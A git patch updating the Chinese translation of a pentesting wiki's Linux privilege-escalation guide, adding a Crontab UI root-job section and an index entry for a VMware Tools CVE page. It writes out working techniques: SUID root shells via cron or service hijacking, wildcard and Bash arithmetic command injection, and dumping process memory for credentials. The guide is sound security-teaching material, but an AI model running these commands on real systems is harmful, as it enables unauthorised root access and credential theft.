From e5218690c88ef69df01fdc5068f73de99f501e5b Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 1 Oct 2025 10:15:03 +0000 Subject: [PATCH] Translated ['src/network-services-pentesting/pentesting-web/vmware-esx-v --- src/SUMMARY.md | 1 + .../privilege-escalation/README.md | 679 +++++++++--------- ...ry-untrusted-search-path-cve-2025-41244.md | 146 ++++ .../pentesting-web/vmware-esx-vcenter....md | 19 +- 4 files changed, 502 insertions(+), 343 deletions(-) create mode 100644 src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 79f641eab..6d276923d 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -110,6 +110,7 @@ - [Checklist - Linux Privilege Escalation](linux-hardening/linux-privilege-escalation-checklist.md) - [Linux Privilege Escalation](linux-hardening/privilege-escalation/README.md) - [Android Rooting Frameworks Manager Auth Bypass Syscall Hook](linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md) + - [Vmware Tools Service Discovery Untrusted Search Path Cve 2025 41244](linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md) - [Arbitrary File Write to Root](linux-hardening/privilege-escalation/write-to-root.md) - [Cisco - vmanage](linux-hardening/privilege-escalation/cisco-vmanage.md) - [Containerd (ctr) Privilege Escalation](linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md) diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index 3bab3bc1b..39b84339f 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -4,9 +4,9 @@ ## 系统信息 -### OS 信息 +### 操作系统信息 -让我们开始获取关于正在运行的 OS 的一些信息 +让我们开始收集有关正在运行的操作系统的一些信息 ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems @@ -14,38 +14,38 @@ cat /etc/os-release 2>/dev/null # universal on modern systems ``` ### Path -如果你对 **`PATH` 变量中的任何文件夹具有写入权限**,你可能能够劫持某些库或二进制文件: +如果你**对 `PATH` 变量中的任何文件夹拥有写权限**,可能能够劫持某些库或二进制文件: ```bash echo $PATH ``` ### 环境信息 -环境变量中是否包含有趣的信息、密码或 API 密钥? +环境变量中是否包含有趣的信息、密码或 API keys? ```bash (env || set) 2>/dev/null ``` ### Kernel exploits -检查 kernel 版本,查看是否存在可以用来 escalate privileges 的 exploit +检查内核版本,并查看是否存在可用于 escalate privileges 的 exploit。 ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -你可以在这里找到一个不错的 vulnerable kernel list 和一些已经 **compiled exploits**: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) and [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ -其他可以找到一些 **compiled exploits** 的站点: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) +你可以在这里找到一个不错的有漏洞的内核列表以及一些已经 **compiled exploits**: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) and [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +其他可以找到一些 **compiled exploits** 的站点: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -要从该网站提取所有 vulnerable kernel versions,你可以做: +要从该网站提取所有有漏洞的内核版本,你可以执行: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` -可以帮助查找内核漏洞利用的工具有: +下面的工具可帮助搜索 kernel exploits: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (在受害主机上执行,仅检查 2.x 内核的漏洞利用) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)(在受害者主机上执行,仅检查针对内核 2.x 的 exploit) -始终 **在 Google 上搜索内核版本**,可能你的内核版本已经出现在某个内核漏洞利用中,这样你就能确定该漏洞利用是否有效。 +始终 **在 Google 上搜索内核版本**,也许某些 kernel exploit 中写明了你的内核版本,这样你就能确定该 exploit 是否有效。 ### CVE-2016-5195 (DirtyCow) @@ -73,9 +73,9 @@ sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\. ``` sudo -u#-1 /bin/bash ``` -### Dmesg 签名验证失败 +### Dmesg signature verification failed -查看 **smasher2 box of HTB**,了解如何利用该 vuln 的 **示例** +请查看 **smasher2 box of HTB**,了解如何利用此 vuln 的 **示例** ```bash dmesg 2>/dev/null | grep "signature" ``` @@ -86,7 +86,7 @@ date 2>/dev/null #Date lscpu #CPU info lpstat -a 2>/dev/null #Printers info ``` -## 列举可能的防御措施 +## 枚举可能的防御措施 ### AppArmor ```bash @@ -112,7 +112,7 @@ fi ```bash (grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield") ``` -### SElinux(安全增强的 Linux) +### SElinux ```bash (sestatus 2>/dev/null || echo "Not found sestatus") ``` @@ -123,7 +123,7 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null ``` ## Docker Breakout -如果你在 docker container 内,你可以尝试从中逃逸: +如果你在 docker container 内,可以尝试 escape: {{#ref}} docker-security/ @@ -131,7 +131,7 @@ docker-security/ ## 驱动器 -检查 **what is mounted and unmounted**、挂载位置以及原因。如果有任何未挂载的设备,你可以尝试将其 mount 并检查是否有敏感信息。 +检查 **what is mounted and unmounted**,在哪里以及为什么。如果有任何是 unmounted 的,你可以尝试 mount 它并检查是否有敏感信息。 ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -140,60 +140,60 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc ``` ## 有用的软件 -列举有用的二进制文件 +枚举有用的 binaries ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -另外,检查是否安装了**任何编译器**。如果需要使用某些 kernel exploit,这很有用,因为建议在将要使用它的机器上(或在一台类似的机器上)进行编译。 +另外,检查是否安装了**任何编译器**。如果你需要使用某些 kernel exploit,这很有用,因为建议在将要使用它的机器上(或在一台类似的机器上)对其进行编译。 ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` -### Vulnerable Software Installed +### 已安装的易受攻击软件 -检查**已安装的软件包和服务的版本**。可能存在旧的 Nagios 版本(例如),可以被利用来进行 escalating privileges…\ -建议手动检查更可疑的已安装软件的版本。 +检查 **已安装的包和服务的版本**。也许存在一些较旧的 Nagios 版本(例如),可能被利用来进行 escalating privileges…\ +建议手动检查更可疑已安装软件的版本。 ```bash dpkg -l #Debian rpm -qa #Centos ``` If you have SSH access to the machine you could also use **openVAS** to check for outdated and vulnerable software installed inside the machine. -> [!NOTE] > _请注意,这些命令会显示大量大多无用的信息,因此建议使用 OpenVAS 或类似工具来检查已安装的软件版本是否容易受到已知 exploits 的利用。_ +> [!NOTE] > _请注意,这些命令会显示大量大多无用的信息,因此建议使用像 OpenVAS 或类似的应用来检查已安装的软件版本是否容易受到已知漏洞的影响_ -## Processes +## 进程 -查看正在执行的 **哪些进程**,并检查是否有任何进程拥有 **比它应有的更多权限**(例如由 root 运行的 tomcat?) +查看正在执行的 **进程** 并检查是否有任何进程拥有 **超过其应有的权限**(例如 tomcat 以 root 身份运行?) ```bash ps aux ps -ef top -n 1 ``` -始终检查是否有可能的 [**electron/cef/chromium debuggers** 正在运行,你可以滥用它来提升权限](electron-cef-chromium-debugger-abuse.md)。 **Linpeas** 通过检查进程命令行中的 `--inspect` 参数来检测它们。\ -另外 **检查你对进程二进制文件的权限**,也许你可以覆盖某些可执行文件。 +Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detect those by checking the `--inspect` parameter inside the command line of the process.\ +Also **check your privileges over the processes binaries**, maybe you can overwrite someone. -### 进程监控 +### Process monitoring -你可以使用像 [**pspy**](https://github.com/DominicBreuker/pspy) 这样的工具来监控进程。这在识别经常被执行或在满足一组条件时触发的易受攻击进程时非常有用。 +You can use tools like [**pspy**](https://github.com/DominicBreuker/pspy) to monitor processes. This can be very useful to identify vulnerable processes being executed frequently or when a set of requirements are met. -### 进程内存 +### Process memory -一些服务器服务会在内存中以**明文**保存凭据。\ -通常你需要 **root privileges** 来读取属于其他用户的进程内存,因此这通常在你已经是 root 并想发现更多凭据时更有用。\ -但是,记住 **作为普通用户你可以读取你自己拥有的进程的内存**。 +服务器上的某些服务会在内存中以明文保存 **凭证**。\ +通常你需要 **root privileges** 来读取属于其他用户的进程内存,因此这通常在你已获得 root 时更有用,用来发现更多凭证。\ +但是,记住 **作为普通用户你可以读取你所拥有进程的内存**。 > [!WARNING] -> 注意如今大多数机器**默认不允许 ptrace**,这意味着你无法转储属于其他用户的进程(如果你是非特权用户)。 +> Note that nowadays most machines **don't allow ptrace by default** which means that you cannot dump other processes that belong to your unprivileged user. > -> 文件 _**/proc/sys/kernel/yama/ptrace_scope**_ 控制 ptrace 的可访问性: +> The file _**/proc/sys/kernel/yama/ptrace_scope**_ controls the accessibility of ptrace: > -> - **kernel.yama.ptrace_scope = 0**: 所有进程都可以被调试,只要它们具有相同的 uid。这是 ptracing 的传统工作方式。 -> - **kernel.yama.ptrace_scope = 1**: 只有父进程可以被调试。 -> - **kernel.yama.ptrace_scope = 2**: 只有管理员可以使用 ptrace,因为它需要 CAP_SYS_PTRACE 能力。 -> - **kernel.yama.ptrace_scope = 3**: 不能用 ptrace 跟踪任何进程。设置后需要重启才能再次启用 ptrace。 +> - **kernel.yama.ptrace_scope = 0**: all processes can be debugged, as long as they have the same uid. This is the classical way of how ptracing worked. +> - **kernel.yama.ptrace_scope = 1**: only a parent process can be debugged. +> - **kernel.yama.ptrace_scope = 2**: Only admin can use ptrace, as it required CAP_SYS_PTRACE capability. +> - **kernel.yama.ptrace_scope = 3**: No processes may be traced with ptrace. Once set, a reboot is needed to enable ptracing again. #### GDB -如果你可以访问某个 FTP 服务(例如)的内存,你可以获取 Heap 并在其中搜索凭据。 +If you have access to the memory of an FTP service (for example) you could get the Heap and search inside of its credentials. ```bash gdb -p (gdb) info proc mappings @@ -215,7 +215,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -对于给定的进程 ID,**maps 显示该进程的内存如何映射** 的虚拟地址空间;它还显示**每个映射区域的权限**。该 **mem** 伪文件**暴露了进程的内存本身**。从 **maps** 文件我们可以知道哪些**内存区域是可读的**以及它们的偏移。我们使用这些信息**在 mem 文件中定位并转储所有可读区域**到一个文件。 +对于给定的进程 ID,**maps 显示该进程的内存在其虚拟地址空间中如何映射**;它还显示**每个映射区域的权限**。伪文件 **mem** 会**暴露进程的内存本身**。通过 **maps** 文件我们可以知道哪些**内存区域是可读的**及其偏移。我们使用这些信息**在 mem 文件中定位并将所有可读区域转储到一个文件中**。 ```bash procdump() ( @@ -230,14 +230,14 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem` 提供对系统的**物理**内存的访问,而不是虚拟内存。内核的虚拟地址空间可以使用 /dev/kmem 访问。\ -通常,`/dev/mem` 仅对 **root** 和 **kmem** 组可读。 +`/dev/mem` 提供对系统的 **物理** 内存的访问,而不是虚拟内存。内核的虚拟地址空间可以通过 /dev/kmem 访问。\ +通常,`/dev/mem` 只有 **root** 和 **kmem** 组可读。 ``` strings /dev/mem -n10 | grep -i PASS ``` -### ProcDump 用于 linux +### ProcDump 适用于 Linux -ProcDump 是对 Sysinternals 套件中用于 Windows 的经典 ProcDump 工具在 Linux 上的重新构想。可在以下地址获取: [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDump 是对来自 Sysinternals 套件中用于 Windows 的经典 ProcDump 工具在 Linux 上的重新实现。可从 [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) 获取。 ``` procdump -p 1714 @@ -266,38 +266,38 @@ Press Ctrl-C to end monitoring without terminating the process. ``` ### 工具 -要 dump 进程内存,你可以使用: +要转储进程内存,你可以使用: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_你可以手动移除 root 要求并 dump 你拥有的进程 +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_你可以手动移除 root 要求并转储你拥有的进程 - Script A.5 来自 [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (需要 root) -### 从进程内存获取凭证 +### 来自进程内存的凭据 #### 手动示例 -如果发现 authenticator 进程正在运行: +如果你发现 authenticator 进程正在运行: ```bash ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -你可以 dump the process(参见前面的章节以了解 dump the memory of a process 的不同方法),并在 memory 中搜索 credentials: +你可以 dump the process(参见前面的章节,了解不同的方法来 dump the memory of a process),并在 memory 中搜索 credentials: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -该工具 [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) 会**从内存中窃取明文凭证**并从一些**已知文件**中获取凭证。它需要 root 权限才能正常工作。 +该工具 [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) 会 **窃取内存中的明文凭证** 并从一些 **已知文件** 中获取。它需要 root 权限才能正常工作。 -| 功能 | 进程名称 | +| 功能 | 进程名称 | | ------------------------------------------------- | -------------------- | -| GDM password (Kali Desktop, Debian Desktop) | gdm-password | +| GDM 密码 (Kali Desktop, Debian Desktop) | gdm-password | | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | | LightDM (Ubuntu Desktop) | lightdm | | VSFTPd (Active FTP Connections) | vsftpd | | Apache2 (Active HTTP Basic Auth Sessions) | apache2 | -| OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: | +| OpenSSH (Active SSH Sessions - 使用 sudo) | sshd: | #### 搜索正则/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash @@ -313,36 +313,68 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` -## Scheduled/Cron jobs +## 计划任务/Cron jobs -检查是否有任何计划任务易受攻击。也许你可以利用由 root 执行的脚本(wildcard vuln? 能否修改 root 使用的文件? 使用 symlinks? 在 root 使用的目录中创建特定文件?)。 +### Crontab UI (alseambusher) 以 root 身份运行 – 基于 web 的调度器 privesc + +如果一个 web “Crontab UI” 面板 (alseambusher/crontab-ui) 以 root 身份运行并且仅绑定到 loopback,你仍然可以通过 SSH local port-forwarding 访问它并创建一个有特权的任务来进行提权。 + +典型流程 +- 发现仅绑定到 loopback 的端口(例如 127.0.0.1:8000)以及 Basic-Auth realm,通过 `ss -ntlp` / `curl -v localhost:8000` +- 在运维工件中查找凭据: +- 备份/脚本(含 `zip -P `) +- systemd unit 暴露出 `Environment="BASIC_AUTH_USER=..."`, `Environment="BASIC_AUTH_PWD=..."` +- 建立隧道并登录: +```bash +ssh -L 9001:localhost:8000 user@target +# browse http://localhost:9001 and authenticate +``` +- 创建一个 high-priv job 并立即运行 (drops SUID shell): +```bash +# Name: escalate +# Command: +cp /bin/bash /tmp/rootshell && chmod 6777 /tmp/rootshell +``` +- 使用它: +```bash +/tmp/rootshell -p # root shell +``` +加固 +- 不要以 root 身份运行 Crontab UI;应使用专用用户并授予最小权限 +- 绑定到 localhost,并通过 firewall/VPN 进一步限制访问;不要重复使用密码 +- 避免在 unit files 中嵌入 secrets;使用 secret stores 或仅限 root 的 EnvironmentFile +- 为按需作业执行启用 audit/logging + + + +检查是否有任何计划任务存在漏洞。也许你可以利用由 root 执行的脚本(wildcard vuln?能否修改 root 使用的文件?使用 symlinks?在 root 使用的目录中创建特定文件?) ```bash crontab -l ls -al /etc/cron* /etc/at* cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#" ``` -### Cron 路径 +### Cron path -例如,在 _/etc/crontab_ 你可以找到 PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ +例如,在 _/etc/crontab_ 中你可以找到 PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -_(注意用户 "user" 对 /home/user 有写权限)_ +(_注意 user 用户对 /home/user 有写权限_) -如果在这个 crontab 中 root 用户尝试在不设置 PATH 的情况下执行某个命令或脚本。例如: _\* \* \* \* root overwrite.sh_\ -那么,你可以通过以下方式获得 root shell: +如果在该 crontab 中,root 用户尝试在未设置 PATH 的情况下执行某个命令或脚本。例如: _\* \* \* \* root overwrite.sh_\ +然后,你可以通过使用: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -### Cron 使用带通配符的脚本 (Wildcard Injection) +### Cron 使用带有通配符的脚本 (Wildcard Injection) -如果一个由 root 执行的脚本在命令中包含 “**\***”,你可以利用这一点导致意想不到的结果(比如 privesc)。示例: +如果一个被 root 执行的脚本在命令中包含 “**\***”,你可以利用它做出意想不到的事情(例如 privesc)。示例: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**如果通配符前面有路径比如** _**/some/path/***_ **,就不会受到影响(即使** _**./***_ **也不)。** +**如果 the wildcard 前面是像** _**/some/path/\***_ **这样的路径, 则它不易被利用(即使** _**./\***_ **也不会)。** -阅读以下页面以获取更多通配符利用技巧: +阅读下列页面以获取更多 wildcard 利用技巧: {{#ref}} @@ -352,11 +384,11 @@ wildcards-spare-tricks.md ### Bash arithmetic expansion injection in cron log parsers -Bash 在 ((...)), $((...)) 和 let 中进行算术求值之前会执行 parameter expansion 和 command substitution。如果 root cron/parser 读取不受信任的日志字段并将其传入算术上下文,攻击者可以注入一个 command substitution $(...),当 cron 运行时以 root 身份执行。 +Bash 在 arithmetic evaluation 之前会执行 parameter expansion 和 command substitution(适用于 ((...)), $((...)) 和 let)。如果一个 root cron/parser 读取 untrusted 的日志字段并将它们放入 arithmetic context,攻击者就可以注入一个 command substitution $(...),在 cron 运行时以 root 身份执行。 -- Why it works: 在 Bash 中,expansions 按如下顺序发生:parameter/variable expansion、command substitution、arithmetic expansion,然后是 word splitting 和 pathname expansion。所以像 `$(/bin/bash -c 'id > /tmp/pwn')0` 这样的值会先被替换(运行该命令),之后剩下的数字 `0` 会用于算术运算,从而使脚本继续而不会报错。 +- 为什么有效:在 Bash 中,扩展发生的顺序为:parameter/variable expansion、command substitution、arithmetic expansion,然后是 word splitting 和 pathname expansion。所以像 `$(/bin/bash -c 'id > /tmp/pwn')0` 这样的值会先被替换(运行命令),然后剩下的数字 `0` 会用于 arithmetic,因此脚本可以继续而不会报错。 -- 典型的易受攻击的模式: +- 典型易受攻击的模式: ```bash #!/bin/bash # Example: parse a log and "sum" a count field coming from the log @@ -366,7 +398,7 @@ while IFS=',' read -r ts user count rest; do done < /var/www/app/log/application.log ``` -- Exploitation: 让攻击者控制的文本写入被解析的日志,使看起来像数字的字段包含 command substitution 并以数字结尾。确保你的命令不要向 stdout 输出(或将其重定向),以便算术表达式保持有效。 +- 利用方式:将 attacker-controlled 的文本写入被解析的日志,使看起来像数字的字段包含 command substitution 并以一个数字结尾。确保你的命令不要输出到 stdout(或将其重定向),以保持 arithmetic 有效。 ```bash # Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim): $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 @@ -375,117 +407,117 @@ $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 ### Cron script overwriting and symlink -如果你 **可以修改 cron script**(由 root 执行),可以非常容易地获得一个 shell: +如果你 **can modify a cron script**(由 root 执行),就可以很容易获得一个 shell: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -如果由 root 执行的脚本使用一个 **你拥有完全访问权限的目录**,那么删除该目录并 **创建一个指向另一个由你控制并提供脚本的 symlink 目录** 可能会很有用。 +如果由 root 执行的 script 使用了一个 **directory where you have full access**,那么删除该 folder 并 **create a symlink folder to another one**(指向由你控制的 script)可能会很有用。 ```bash ln -d -s ``` ### 频繁的 cron jobs -你可以监视进程,查找每隔 1、2 或 5 分钟执行的进程。也许你可以利用它并 escalate privileges。 +你可以监控进程以查找每 1、2 或 5 分钟执行的进程。也许你可以利用它并 escalate privileges。 -例如,要 **在 1 分钟内每 0.1s 监控**、**按执行次数最少排序** 并删除被执行次数最多的命令,你可以做: +例如,要 **在 1 分钟内每 0.1 秒监控一次**、**按执行次数最少排序** 并删除那些被执行次数最多的命令,可以这样做: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**你也可以使用** [**pspy**](https://github.com/DominicBreuker/pspy/releases)(它会监视并列出每个启动的进程)。 +**你也可以使用** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (这将监视并列出每个启动的进程)。 -### 隐形 cron jobs +### 不可见的 cron jobs -可以创建一个 cronjob,通过**在注释后放置回车符**(没有换行字符),使该 cron job 生效。示例(注意回车字符): +可以创建一个 cronjob **在注释后放置一个回车**(不带换行字符),cron job 仍然会生效。示例(注意回车字符): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` -## 服务 +## Services -### 可写的 _.service_ 文件 +### Writable _.service_ files -检查是否可以写入任何 `.service` 文件。如果可以,你**可以修改它**,使其在服务**启动**、**重启**或**停止**时**执行**你的**backdoor**(可能需要等到机器重启)。 -例如,在 `.service` 文件中创建你的 backdoor,使用 **`ExecStart=/tmp/script.sh`** +检查是否可以写入任何 `.service` 文件,如果可以,你 **可以修改它** 以便它 **执行** 你的 **backdoor 在** 服务 **启动**、**重启** 或 **停止** 时(可能需要等到机器重启)。\ +例如在 `.service` 文件中创建你的 backdoor,使用 **`ExecStart=/tmp/script.sh`** -### 可写的服务二进制文件 +### Writable service binaries -请记住,如果你对由服务执行的二进制文件具有**写权限**,你可以将它们更改为 backdoors,这样当服务被重新执行时,backdoors 就会被执行。 +请记住,如果你 **对被服务执行的二进制文件拥有写权限**,你可以将它们替换为 backdoor,这样当服务被重新执行时,backdoor 就会被执行。 -### systemd PATH - 相对路径 +### systemd PATH - Relative Paths -你可以通过以下方式查看 **systemd** 使用的 PATH: +你可以使用以下命令查看 **systemd** 使用的 PATH: ```bash systemctl show-environment ``` -如果你发现可以在该路径的任一文件夹中**write**,你可能能够**escalate privileges**。你需要搜索在服务配置文件中使用的**相对路径**,例如: +如果你发现可以在该路径的任何文件夹中**写入**,则可能能够**提权**。你需要搜索**在服务配置中使用的相对路径**文件,例如: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -然后,在你可写入的 systemd PATH folder 中创建一个与相对路径二进制文件同名的 **executable**,当服务被要求执行易受攻击的操作(**Start**、**Stop**、**Reload**)时,你的 **backdoor** 将被执行(非特权用户通常无法 start/stop services,但检查是否可以使用 `sudo -l`)。 +然后,在你可以写入的 systemd PATH 文件夹中,创建一个可执行文件,其名称与相对路径二进制文件相同;当服务被要求执行易受利用的操作(**Start**, **Stop**, **Reload**)时,你的 backdoor 将被执行(非特权用户通常无法 start/stop 服务,但请检查是否可以使用 `sudo -l`)。 **Learn more about services with `man systemd.service`.** -## **Timers** +## **计时器** -Timers 是 systemd 的 unit 文件,名称以 `**.timer**` 结尾,用于控制 `**.service**` 文件或事件。Timers 可以作为 cron 的替代,因为它们内建对日历时间事件 (calendar time events) 和单调时间事件 (monotonic time events) 的支持,并且可以异步运行。 +计时器是 systemd unit 文件,其名称以 `**.timer**` 结尾,用于控制 `**.service**` 文件或事件。计时器可以作为 cron 的替代方案,因为它们内建对日历时间事件和单调时间事件的支持,并且可以异步运行。 -You can enumerate all the timers with: +你可以使用以下命令列举所有计时器: ```bash systemctl list-timers --all ``` -### 可写的 timer +### 可写的定时器 -如果你可以修改一个 timer,你可以让它执行一些 systemd.unit 的现有项(比如 `.service` 或 `.target`) +如果你可以修改一个定时器,你可以让它执行 systemd.unit 的某些现有单元(比如 `.service` 或 `.target`) ```bash Unit=backdoor.service ``` -在文档中可以看到 Unit 是什么: +在文档中你可以看到 Unit 的定义: -> 在该 timer 到期时要激活的 unit。参数是一个 unit name,其后缀不是 ".timer"。如果未指定,该值默认为一个 service,其名称与 timer unit 相同,但后缀不同。(见上文。)建议被激活的 unit name 与 timer unit 的 unit name 除后缀外保持一致。 +> 当这个 timer 到期时要激活的 unit。参数是一个 unit 名称,其后缀不是 ".timer"。如果未指定,该值默认指向一个与 timer unit 同名(除后缀外)的 service。(见上文。)建议被激活的 unit 名称与 timer unit 名称除后缀外保持一致。 因此,要滥用此权限,你需要: -- 找到某个 systemd unit(例如 `.service`),它正在 **执行一个可写的 binary** -- 找到某个 systemd unit,它正在 **执行一个相对路径**,并且你对 **systemd PATH** 拥有 **writable privileges**(以冒充该可执行文件) +- 找到某个 systemd unit(例如 `.service`),它正在 **执行一个可写的二进制文件** +- 找到某个 systemd unit,它正在 **执行一个相对路径**,并且你对 **systemd PATH** 拥有 **写权限**(以冒充该可执行文件) -**使用 `man systemd.timer` 了解有关 timers 的更多信息。** +**Learn more about timers with `man systemd.timer`.** -### **启用 Timer** +### **启用计时器** -要启用 timer,你需要 root 权限并执行: +要启用计时器,你需要 root 权限并执行: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` -注意,**timer** 是通过在 `/etc/systemd/system/.wants/.timer` 上创建一个符号链接来**激活**的。 +Note the **timer** is **activated** by creating a symlink to it on `/etc/systemd/system/.wants/.timer` -## 套接字 +## Sockets -Unix Domain Sockets (UDS) 在客户端-服务器模型中允许在同一台或不同机器上进行**进程间通信**。它们使用标准 Unix 描述符文件进行主机间通信,并通过 `.socket` 文件进行配置。 +Unix Domain Sockets (UDS) enable **process communication** on the same or different machines within client-server models. They utilize standard Unix descriptor files for inter-computer communication and are set up through `.socket` files. -套接字可以使用 `.socket` 文件进行配置。 +Sockets can be configured using `.socket` files. -**使用 `man systemd.socket` 了解更多关于套接字的信息。** 在此文件中,可以配置多个有趣的参数: +**Learn more about sockets with `man systemd.socket`.** Inside this file, several interesting parameters can be configured: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: 这些选项各不相同,但总体上用于**指示将在哪里监听**该套接字(AF_UNIX 套接字文件的路径、要监听的 IPv4/6 和/或端口号等)。 -- `Accept`: 接受一个 boolean 参数。如果 **true**,则会为每个传入连接生成一个**service 实例**,并且仅将连接套接字传递给它。如果 **false**,所有监听套接字本身将**传递给启动的 service 单元**,并且只为所有连接生成一个 service 单元。对于 datagram 套接字和 FIFOs,此值被忽略,在那里单个 service 单元无条件处理所有传入流量。**默认值为 false**。出于性能原因,建议在编写新的 daemon 时以适合 `Accept=no` 的方式编写。 -- `ExecStartPre`, `ExecStartPost`: 接受一个或多个命令行,在监听的 **套接字**/FIFOs 分别被**创建**并绑定之前或之后**执行**。命令行的第一个词元必须是绝对文件名,随后是进程的参数。 -- `ExecStopPre`, `ExecStopPost`: 额外的**命令**,在监听的 **套接字**/FIFOs 分别被**关闭**并移除之前或之后**执行**。 -- `Service`: 指定在**传入流量**时要**激活**的 **service** 单元名称。此设置仅允许用于 Accept=no 的套接字。默认使用与套接字同名(替换后缀)的 service。在大多数情况下,不需要使用此选项。 +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: These options are different but a summary is used to 